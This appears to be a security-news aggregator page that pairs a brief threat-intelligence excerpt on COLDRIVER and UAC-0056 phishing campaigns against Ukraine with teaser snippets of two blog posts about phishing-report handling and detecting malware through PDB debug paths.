Example of a recent COLDRIVER phishing lure

Recently observed COLDRIVER indicators:

In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike. In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails. Email contents vary from COVID-19 vaccine policy to the humanitarian crisis in Ukraine.

Shall we say… Good bye, phishing queue?

7 July 2022 at 22:19
By: adam
Imagine you stop processing your phishing reports today. Just stop. What could be the worst thing that could happen? Hmm ? Of course, some people will still get phished, some […]

DriverPack – Clean PDB paths

2 July 2022 at 21:43
By: adam
Unique PDB debug paths embedded inside malware are useful to detect other variants of the malicious family (not applicable to more advanced malware families where authors either wipe the paths […]
❌